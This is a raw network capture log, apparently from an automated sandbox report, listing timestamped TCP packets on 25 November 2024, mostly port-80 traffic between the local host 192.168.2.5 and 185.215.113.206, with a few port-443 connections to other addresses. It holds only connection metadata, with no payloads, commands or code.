Nov 25, 2024 14:14:43.991025925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.991132021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.991185904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.991897106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.991915941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.991976976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.992863894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.992927074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.992952108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.992995024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.993944883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.994004011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.994731903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.994821072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.994889975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.994906902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.994936943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.994956017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.996419907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.996568918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.996633053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.997307062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.997555017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.997592926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.997626066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.998414040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.998862982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.998940945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.999224901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.999289036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.999871969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.999891043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.999907970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.999934912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.999963999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.000955105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.000977993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.001039028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.001770973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.001818895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.001833916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.001888037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.002654076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.002712011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.002757072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.002945900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.003542900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.003598928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.003804922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.003947020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.004537106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.004650116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.004753113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.005500078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.005516052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.005564928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.005574942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.006690979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.006764889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.006827116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.007442951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.007497072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.007994890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.008295059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.008373022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.008420944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.008462906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.008508921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.009541988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.009558916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.009589911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.009604931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.010303974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.010318041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.010381937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.011358976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.011416912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.011714935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.011791945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.012299061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.012315989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.012346983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.012372017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.013324976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.013380051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.013624907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.013674974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.014309883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.014422894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.014755011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.014806986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.015332937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.015392065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.015671015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.015722036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.016218901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.016299009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.016587973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.016638041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.017153978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.017241001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.017339945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.017441034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.018218040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.018956900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.019021034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.019190073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.019207001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.019288063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.020248890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.020492077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.020551920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.021109104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.021167040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.059829950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.059963942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.060010910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.060194969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.060211897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.060235977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.060271978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.061224937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.061289072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.062120914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.062371016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.062709093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.062752962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.122273922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.122347116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.122690916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.122751951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.123323917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.123553038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.123765945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.123817921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.124892950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.124952078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.125550032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.125752926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.126760960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.126815081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.126879930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.126928091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.127125978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.127185106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.127221107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.127397060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.127846003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.127922058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.127999067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.128040075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.128437996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.128532887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.128561974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.128573895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.129019976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.129350901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.129373074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.129451036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.129944086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.129983902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.130038023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.130858898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.131023884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.131046057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.131098986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.131472111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.131544113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.131659031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.131710052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.131987095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.132029057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.132066965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.132107973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.132687092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.132740974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.132939100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.133404016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.133641005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.133691072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.133867025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.133970976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.134829998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.134916067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.134916067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.134994984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.136246920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.136260986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.136321068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.137382984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.137449026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.137511969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.137554884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.155229092 CET	443	49840	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.156107903 CET	49840	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.156128883 CET	443	49840	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.156985044 CET	49840	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.156995058 CET	443	49840	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.170165062 CET	49847	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:44.170212984 CET	443	49847	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:44.170378923 CET	49847	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:44.171165943 CET	49847	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:44.171179056 CET	443	49847	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:44.191689968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.191787958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.191946030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.192002058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.192449093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.192461014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.192512035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.193226099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.193273067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.193320990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.193372965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.194089890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.194631100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.194829941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.194912910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.195161104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.195208073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.195347071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.195466995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.196976900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.196990013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.197061062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.197283030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.197295904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.197345972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.198033094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.198091030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.198098898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.198170900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.199105024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.199155092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.199218035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.199309111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.199891090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.200203896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.200282097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.200750113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.200877905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.201045990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.201227903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.202440977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.202462912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.202512980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.202991962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.203124046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.203175068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.203953028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.204041004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.204118967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.204837084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.204895973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.204926968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.204971075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.205961943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.206047058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.206074953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.206085920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.206979036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.207046986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.207150936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.207382917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.207884073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.208041906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.208096027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.208964109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.209054947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.209146976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.209306002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.209712029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.209757090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.210102081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.210210085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.211045027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.211194992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.211245060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.212093115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.212229013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.212289095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.212536097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.213258982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.213319063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.213393927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.213479996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.213773966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.213787079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.213814974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.213855982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.214468956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.214520931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.214605093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.214647055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.215476036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.215537071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.215601921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.215682030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.216325045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.216398001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.216474056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.216519117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.217462063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.217523098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.217739105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.217917919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.218247890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.218333960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.218378067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.219266891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.219327927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.219634056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.219686031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.220149040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.220204115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.220485926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.220530033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.221131086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.221189976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.221220016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.221275091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.222078085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.222132921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.222717047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.222950935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.223087072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.223131895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.226509094 CET	49848	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:44.226551056 CET	443	49848	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:44.226763964 CET	49848	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:44.227015972 CET	49848	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:44.227030039 CET	443	49848	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:44.228236914 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.234560013 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.234592915 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.235073090 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.235083103 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.256021023 CET	443	49842	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.261307001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.261356115 CET	80	49760	185.215.113.206	192.168.2.5
